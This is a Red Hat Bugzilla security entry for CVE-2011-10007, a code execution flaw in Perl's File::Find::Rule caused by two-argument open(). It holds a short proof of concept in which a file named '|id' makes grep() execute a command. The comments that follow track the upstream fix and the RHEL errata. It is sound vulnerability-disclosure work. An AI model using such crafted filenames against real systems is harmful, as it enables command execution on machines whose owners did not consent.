Bug 2370424 (CVE-2011-10007) - CVE-2011-10007 perl-file-find-rule: File::Find::Rule Arbitrary Code Execution
Summary: CVE-2011-10007 perl-file-find-rule: File::Find::Rule Arbitrary Code Execution
Keywords:
Status: NEW
Alias: CVE-2011-10007
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security DevOps Team
QA Contact:
URL:
Whiteboard:
Depends On: 2370475 2370476 2370477 2370478 2370473 2370474
Blocks:
TreeView+ depends on / blocked
 
Reported: 2025-06-05 13:01 UTC by OSIDB Bzimport
Modified: 2025-06-26 06:29 UTC (History)
1 user (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)


Links
System ID Private Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2025:9517 0 None None None 2025-06-24 11:29:20 UTC
Red Hat Product Errata RHSA-2025:9605 0 None None None 2025-06-25 06:14:27 UTC
Red Hat Product Errata RHSA-2025:9658 0 None None None 2025-06-25 15:56:59 UTC
Red Hat Product Errata RHSA-2025:9740 0 None None None 2025-06-26 06:25:53 UTC
Red Hat Product Errata RHSA-2025:9741 0 None None None 2025-06-26 06:29:41 UTC

Description OSIDB Bzimport 2025-06-05 13:01:14 UTC
File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.

A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id"
$ perl -MFile::Find::Rule \
    -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")'
uid=1000(user) gid=1000(user) groups=1000(user),100(users)

Comment 4 Petr Pisar 2025-06-06 08:51:46 UTC
Upstream fix <https://github.com/richardc/perl-file-find-rule/pull/4>, allegedly included in new 0.35 version.

Comment 5 Fedora Update System 2025-06-15 00:30:42 UTC
FEDORA-EPEL-2025-9dcb1aae07 (perl-File-Find-Rule-0.35-1.el10_1) has been pushed to the Fedora EPEL 10.1 stable repository.
If problem still persists, please make note of it in this bug report.

Comment 6 Fedora Update System 2025-06-15 00:33:56 UTC
FEDORA-EPEL-2025-0d08cf47ee (perl-File-Find-Rule-0.35-1.el10_0) has been pushed to the Fedora EPEL 10.0 stable repository.
If problem still persists, please make note of it in this bug report.

Comment 7 errata-xmlrpc 2025-06-24 11:29:19 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 9

Via RHSA-2025:9517 https://access.redhat.com/errata/RHSA-2025:9517

Comment 8 errata-xmlrpc 2025-06-25 06:14:26 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 8

Via RHSA-2025:9605 https://access.redhat.com/errata/RHSA-2025:9605

Comment 9 errata-xmlrpc 2025-06-25 15:56:58 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 9.4 Extended Update Support

Via RHSA-2025:9658 https://access.redhat.com/errata/RHSA-2025:9658

Comment 10 errata-xmlrpc 2025-06-26 06:25:51 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 7 Extended Lifecycle Support

Via RHSA-2025:9740 https://access.redhat.com/errata/RHSA-2025:9740

Comment 11 errata-xmlrpc 2025-06-26 06:29:40 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 7 Extended Lifecycle Support

Via RHSA-2025:9741 https://access.redhat.com/errata/RHSA-2025:9741


Note You need to log in before you can comment on or make changes to this bug.